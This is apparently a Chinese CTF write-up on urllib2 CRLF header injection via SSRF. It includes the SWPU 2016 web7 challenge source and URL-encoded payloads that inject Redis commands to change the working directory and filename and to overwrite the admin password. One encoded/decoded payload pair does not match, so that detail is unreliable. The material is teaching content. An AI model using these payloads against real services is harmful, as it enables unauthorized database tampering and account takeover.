urllib2 HTTP头部注入

文章目录

    • 注入原理
    • [例题 SWPU 2016web7](#例题 [SWPU 2016]web7)

注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入

我们以redis数据库为例,当存在SSRF时我们伪造以下请求

复制代码
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

复制代码
http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码

再次利用ssrf漏洞进行修改并保存

复制代码
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

复制代码
http://127.0.0.1
set admin 123456
save
:6379/foo

例题 SWPU 2016web7

源码

复制代码
#!/usr/bin/python 
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
    @cherrypy.expose
    def index(self):
        return "<script> window.location.href='/input';</script>"
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"<br>"
            except Exception,e:
                reheaders="错误"+str(e)
            for x in urllib2.urlopen(url).info().headers:
                reheaders=reheaders+x+"<br>"
        file=file.replace("<?response?>",reheaders)
        return file
    @cherrypy.expose
    def login(self,password="",submit=""):
        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
        r = redis.Redis(connection_pool=pool)
        re=""
        file=open("login.html","r").read()
        if cherrypy.request.method=="GET":
            re=""
        else:
            password=cherrypy.request.params["password"]
            submit=cherrypy.request.params["submit"]
            if r.get("admin")==password:
                re=open("flag",'r').readline()
            else:
                re="Can't find admin:"+password+",fast fast fast....."
        file=file.replace("<?response?>",re)
        return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
                        'server.socket_port': 8080,
                       })
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

复制代码
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379

//解码如下
http://127.0.0.1
set admin 123456
:6379
相关推荐
云水一下2 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
一隅论数智2 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
默_笙2 天前
🍙 给每个请求过安检:FastAPI 是怎么把校验写进类型注解的
python
XiHongShi20162 天前
STM32F407 RTC定时器例程,建议保存
stm32·单片机·学习
qq_426003962 天前
启动playwright录制codegen生成自动化测试脚本
python·自动化
虎头金猫2 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
长沙三为智能科技2 天前
家政小程序开发从0到上线:五阶段交付流程与验收清单
python
爱吃苹果的日记本2 天前
离散数学第六课
学习·离散数学
伞伞悦读2 天前
【第38期】Python 模块与包详解:import、from、模块搜索路径、包结构和 __init__
开发语言·python